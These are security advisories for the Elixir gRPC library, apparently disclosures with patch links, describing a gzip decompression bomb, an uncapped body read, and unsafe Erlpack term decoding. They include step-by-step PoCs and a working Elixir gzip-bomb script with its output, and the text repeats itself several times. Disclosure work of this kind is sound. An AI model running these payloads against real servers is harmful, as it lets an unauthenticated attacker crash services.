Mix.install([{:grpc, "~> 0.9"}])

# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.
uncompressed_size = 200 * 1024 * 1024
bomb_payload = :zlib.gzip(:binary.copy(<<0>>, uncompressed_size))

# Wrap the bomb in a gRPC length-prefixed frame with the "compressed" flag (1)
# set. This is the exact wire shape an outside peer would put on the socket
# for a `grpc-encoding: gzip` message.
frame =
  <<1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary>>

IO.puts(
  "Compressed bomb: #{byte_size(bomb_payload)} bytes -> claims to expand to #{uncompressed_size} bytes"
)

:erlang.garbage_collect()
mem_before = :erlang.memory(:total)
IO.puts("Memory before: #{div(mem_before, 1024 * 1024)} MB")

# Public entry point: GRPC.Message.from_data/2 is what the server's request
# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2
# DATA frame, once it has resolved the encoding header to a compressor module.
# An outside attacker controls `frame`; the library is the trust boundary.
{:ok, decompressed} =
  GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)

mem_after = :erlang.memory(:total)
IO.puts("Memory after:  #{div(mem_after, 1024 * 1024)} MB")
IO.puts("Delta:         #{div(mem_after - mem_before, 1024 * 1024)} MB")
IO.puts("Decompressed binary size: #{byte_size(decompressed)} bytes")

amplification = byte_size(decompressed) / byte_size(bomb_payload)
IO.puts("Amplification ratio: ~#{Float.round(amplification, 1)}x")

if byte_size(decompressed) == uncompressed_size do
  IO.puts(
    "VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload."
  )
else
  IO.puts("NOT VERIFIED: decompressed size did not match expected payload")
end

Compressed bomb: 203860 bytes -> claims to expand to 209715200 bytes
Memory before: 45 MB
Memory after:  403 MB
Delta:         358 MB
Decompressed binary size: 209715200 bytes
Amplification ratio: ~1028.7x
VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.

Summary

'Elixir.GRPC.Server.Adapters.Cowboy.Handler':read_full_body/3 accumulates every received chunk into a single growing binary with no size cap. When the client omits the grpc-timeout header, the read timeout resolves to :infinity, allowing a slow-trickle attacker to hold the connection open indefinitely while memory grows. A single unauthenticated connection is sufficient to exhaust BEAM memory and crash the node.

Details

The read loop in lib/grpc/server/adapters/cowboy/handler.ex calls :cowboy_req.read_body/2 in a recursive loop, concatenating each chunk: body <> data. There is no running-total check and no configurable maximum body size. As the loop drains the receive buffer, cowboy issues fresh HTTP/2 WINDOW_UPDATE frames, so the client can keep pushing data indefinitely.

The grpc-timeout header is attacker-supplied and optional. When absent, timeout_left_opt(nil) returns :infinity, so the per-chunk read also has no deadline. The two missing controls compound: a fast client can blast multi-gigabyte payloads directly into memory; a slow client can trickle data forever.

PoC

1. Start any grpc server exposing a unary RPC (no special configuration required).
2. Open an HTTP/2 connection and send a POST to any unary RPC path with Content-Type: application/grpc+proto — omit the grpc-timeout header.
3. Stream a large body (e.g. 1 GiB) in chunks without sending the final END_STREAM flag immediately.
4. Observe BEAM memory growing proportionally to uploaded data with no server-side cap.

Impact

Affects grpc ≥ 0.3.1. No authentication, no special configuration, and no specific RPC method required, the unbounded read is on the default unary ingress path.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/d1abe70a6cad6dac4a3f8235d883d7c896989560
• Patch commit: https://github.com/elixir-grpc/grpc/commit/49e18c3ec6bb9afe2f712caad3dbab5c56a68a00

Summary

GRPC.Codec.Erlpack.decode/2 calls :erlang.binary_to_term/1 directly on the raw gRPC message body without the :safe option. Any unauthenticated peer that can reach a gRPC endpoint with Content-Type: application/grpc+erlpack can crash the entire BEAM node via atom table exhaustion or, if a decoded fun term flows into a call site that invokes it, achieve remote code execution inside the server process.

Details

Root cause — lib/grpc/codec/erlpack.ex implements decode/2 as a bare :erlang.binary_to_term(binary) call with no :safe flag, no size limit, and no type validation. This has two independent exploitation paths:

1. DoS via atom exhaustion — BEAM atoms are never garbage-collected and the global atom table is bounded (~1,048,576 entries). A crafted payload encoding large numbers of fresh atoms saturates the table and crashes the entire VM, taking down all applications on the node.

2. RCE via fun materialization — Without :safe, binary_to_term/1 reconstructs fun and external-fun terms from wire data. If the decoded value reaches any call site that applies it (e.g. Enum.map, Task.async, direct invocation), attacker-controlled code executes inside the server process.

Configuration requirement: GRPC.Codec.Erlpack is not registered by default and must be explicitly added to the server's codecs option.

PoC

1. Start a gRPC server with codecs: [GRPC.Codec.Erlpack].
2. Open an HTTP/2 connection to the server.
3. Send a gRPC-framed POST to any RPC path with Content-Type: application/grpc+erlpack and a body of :erlang.term_to_binary(fn -> <malicious_code> end).
4. The server's decode/2 materializes the fun; any downstream call site that invokes the decoded value executes the attacker's code.
5. For DoS only: send payloads encoding fresh atoms in a loop until the atom table is exhausted and the VM crashes.

Impact

Affects grpc ≥ 0.4.0. Any server that explicitly registers GRPC.Codec.Erlpack is vulnerable to unauthenticated node-level DoS and potentially RCE.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/25bcc569fe2cc4478531a6c546c923205fc751c9
• Patch commit: https://github.com/elixir-grpc/grpc/commit/272a97a5ea1b46af1819f14a831fcf35fc91f992

Summary

An unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service).

Introduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba

Details

GRPC.Compressor.Gzip.decompress/1 (lib/grpc/compressor/gzip.ex:12-14) calls :zlib.gunzip/1 directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries grpc-encoding: gzip. :zlib.gunzip/1 allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's max_receive_message_length is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.

PoC

A script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request.

Impact

This is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with grpc-encoding: gzip.

Scripts and Logs

# Verifies: Unbounded gzip decompression (decompression bomb)

Mix.install([{:grpc, "~> 0.9"}])

# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.
uncompressed_size = 200 * 1024 * 1024
bomb_payload = :zlib.gzip(:binary.copy(<<0>>, uncompressed_size))

# Wrap the bomb in a gRPC length-prefixed frame with the "compressed" flag (1)
# set. This is the exact wire shape an outside peer would put on the socket
# for a `grpc-encoding: gzip` message.
frame =
  <<1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary>>

IO.puts(
  "Compressed bomb: #{byte_size(bomb_payload)} bytes -> claims to expand to #{uncompressed_size} bytes"
)

:erlang.garbage_collect()
mem_before = :erlang.memory(:total)
IO.puts("Memory before: #{div(mem_before, 1024 * 1024)} MB")

# Public entry point: GRPC.Message.from_data/2 is what the server's request
# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2
# DATA frame, once it has resolved the encoding header to a compressor module.
# An outside attacker controls `frame`; the library is the trust boundary.
{:ok, decompressed} =
  GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)

mem_after = :erlang.memory(:total)
IO.puts("Memory after:  #{div(mem_after, 1024 * 1024)} MB")
IO.puts("Delta:         #{div(mem_after - mem_before, 1024 * 1024)} MB")
IO.puts("Decompressed binary size: #{byte_size(decompressed)} bytes")

amplification = byte_size(decompressed) / byte_size(bomb_payload)
IO.puts("Amplification ratio: ~#{Float.round(amplification, 1)}x")

if byte_size(decompressed) == uncompressed_size do
  IO.puts(
    "VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload."
  )
else
  IO.puts("NOT VERIFIED: decompressed size did not match expected payload")
end

Compressed bomb: 203860 bytes -> claims to expand to 209715200 bytes
Memory before: 45 MB
Memory after:  403 MB
Delta:         358 MB
Decompressed binary size: 209715200 bytes
Amplification ratio: ~1028.7x
VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.

Summary

'Elixir.GRPC.Server.Adapters.Cowboy.Handler':read_full_body/3 accumulates every received chunk into a single growing binary with no size cap. When the client omits the grpc-timeout header, the read timeout resolves to :infinity, allowing a slow-trickle attacker to hold the connection open indefinitely while memory grows. A single unauthenticated connection is sufficient to exhaust BEAM memory and crash the node.

Details

The read loop in lib/grpc/server/adapters/cowboy/handler.ex calls :cowboy_req.read_body/2 in a recursive loop, concatenating each chunk: body <> data. There is no running-total check and no configurable maximum body size. As the loop drains the receive buffer, cowboy issues fresh HTTP/2 WINDOW_UPDATE frames, so the client can keep pushing data indefinitely.

The grpc-timeout header is attacker-supplied and optional. When absent, timeout_left_opt(nil) returns :infinity, so the per-chunk read also has no deadline. The two missing controls compound: a fast client can blast multi-gigabyte payloads directly into memory; a slow client can trickle data forever.

PoC

1. Start any grpc server exposing a unary RPC (no special configuration required).
2. Open an HTTP/2 connection and send a POST to any unary RPC path with Content-Type: application/grpc+proto — omit the grpc-timeout header.
3. Stream a large body (e.g. 1 GiB) in chunks without sending the final END_STREAM flag immediately.
4. Observe BEAM memory growing proportionally to uploaded data with no server-side cap.

Impact

Affects grpc ≥ 0.3.1. No authentication, no special configuration, and no specific RPC method required, the unbounded read is on the default unary ingress path.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/d1abe70a6cad6dac4a3f8235d883d7c896989560
• Patch commit: https://github.com/elixir-grpc/grpc/commit/49e18c3ec6bb9afe2f712caad3dbab5c56a68a00

Summary

GRPC.Codec.Erlpack.decode/2 calls :erlang.binary_to_term/1 directly on the raw gRPC message body without the :safe option. Any unauthenticated peer that can reach a gRPC endpoint with Content-Type: application/grpc+erlpack can crash the entire BEAM node via atom table exhaustion or, if a decoded fun term flows into a call site that invokes it, achieve remote code execution inside the server process.

Details

Root cause — lib/grpc/codec/erlpack.ex implements decode/2 as a bare :erlang.binary_to_term(binary) call with no :safe flag, no size limit, and no type validation. This has two independent exploitation paths:

1. DoS via atom exhaustion — BEAM atoms are never garbage-collected and the global atom table is bounded (~1,048,576 entries). A crafted payload encoding large numbers of fresh atoms saturates the table and crashes the entire VM, taking down all applications on the node.

2. RCE via fun materialization — Without :safe, binary_to_term/1 reconstructs fun and external-fun terms from wire data. If the decoded value reaches any call site that applies it (e.g. Enum.map, Task.async, direct invocation), attacker-controlled code executes inside the server process.

Configuration requirement: GRPC.Codec.Erlpack is not registered by default and must be explicitly added to the server's codecs option.

PoC

1. Start a gRPC server with codecs: [GRPC.Codec.Erlpack].
2. Open an HTTP/2 connection to the server.
3. Send a gRPC-framed POST to any RPC path with Content-Type: application/grpc+erlpack and a body of :erlang.term_to_binary(fn -> <malicious_code> end).
4. The server's decode/2 materializes the fun; any downstream call site that invokes the decoded value executes the attacker's code.
5. For DoS only: send payloads encoding fresh atoms in a loop until the atom table is exhausted and the VM crashes.

Impact

Affects grpc ≥ 0.4.0. Any server that explicitly registers GRPC.Codec.Erlpack is vulnerable to unauthenticated node-level DoS and potentially RCE.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/25bcc569fe2cc4478531a6c546c923205fc751c9
• Patch commit: https://github.com/elixir-grpc/grpc/commit/272a97a5ea1b46af1819f14a831fcf35fc91f992

Summary

An unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service).

Introduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba

Details

GRPC.Compressor.Gzip.decompress/1 (lib/grpc/compressor/gzip.ex:12-14) calls :zlib.gunzip/1 directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries grpc-encoding: gzip. :zlib.gunzip/1 allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's max_receive_message_length is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.

PoC

A script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request.

Impact

This is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with grpc-encoding: gzip.

Scripts and Logs

# Verifies: Unbounded gzip decompression (decompression bomb)

Mix.install([{:grpc, "~> 0.9"}])

# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.
uncompressed_size = 200 * 1024 * 1024
bomb_payload = :zlib.gzip(:binary.copy(<<0>>, uncompressed_size))

# Wrap the bomb in a gRPC length-prefixed frame with the "compressed" flag (1)
# set. This is the exact wire shape an outside peer would put on the socket
# for a `grpc-encoding: gzip` message.
frame =
  <<1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary>>

IO.puts(
  "Compressed bomb: #{byte_size(bomb_payload)} bytes -> claims to expand to #{uncompressed_size} bytes"
)

:erlang.garbage_collect()
mem_before = :erlang.memory(:total)
IO.puts("Memory before: #{div(mem_before, 1024 * 1024)} MB")

# Public entry point: GRPC.Message.from_data/2 is what the server's request
# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2
# DATA frame, once it has resolved the encoding header to a compressor module.
# An outside attacker controls `frame`; the library is the trust boundary.
{:ok, decompressed} =
  GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)

mem_after = :erlang.memory(:total)
IO.puts("Memory after:  #{div(mem_after, 1024 * 1024)} MB")
IO.puts("Delta:         #{div(mem_after - mem_before, 1024 * 1024)} MB")
IO.puts("Decompressed binary size: #{byte_size(decompressed)} bytes")

amplification = byte_size(decompressed) / byte_size(bomb_payload)
IO.puts("Amplification ratio: ~#{Float.round(amplification, 1)}x")

if byte_size(decompressed) == uncompressed_size do
  IO.puts(
    "VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload."
  )
else
  IO.puts("NOT VERIFIED: decompressed size did not match expected payload")
end

Compressed bomb: 203860 bytes -> claims to expand to 209715200 bytes
Memory before: 45 MB
Memory after:  403 MB
Delta:         358 MB
Decompressed binary size: 209715200 bytes
Amplification ratio: ~1028.7x
VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.

Summary

'Elixir.GRPC.Server.Adapters.Cowboy.Handler':read_full_body/3 accumulates every received chunk into a single growing binary with no size cap. When the client omits the grpc-timeout header, the read timeout resolves to :infinity, allowing a slow-trickle attacker to hold the connection open indefinitely while memory grows. A single unauthenticated connection is sufficient to exhaust BEAM memory and crash the node.

Details

The read loop in lib/grpc/server/adapters/cowboy/handler.ex calls :cowboy_req.read_body/2 in a recursive loop, concatenating each chunk: body <> data. There is no running-total check and no configurable maximum body size. As the loop drains the receive buffer, cowboy issues fresh HTTP/2 WINDOW_UPDATE frames, so the client can keep pushing data indefinitely.

The grpc-timeout header is attacker-supplied and optional. When absent, timeout_left_opt(nil) returns :infinity, so the per-chunk read also has no deadline. The two missing controls compound: a fast client can blast multi-gigabyte payloads directly into memory; a slow client can trickle data forever.

PoC

1. Start any grpc server exposing a unary RPC (no special configuration required).
2. Open an HTTP/2 connection and send a POST to any unary RPC path with Content-Type: application/grpc+proto — omit the grpc-timeout header.
3. Stream a large body (e.g. 1 GiB) in chunks without sending the final END_STREAM flag immediately.
4. Observe BEAM memory growing proportionally to uploaded data with no server-side cap.

Impact

Affects grpc ≥ 0.3.1. No authentication, no special configuration, and no specific RPC method required, the unbounded read is on the default unary ingress path.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/d1abe70a6cad6dac4a3f8235d883d7c896989560
• Patch commit: https://github.com/elixir-grpc/grpc/commit/49e18c3ec6bb9afe2f712caad3dbab5c56a68a00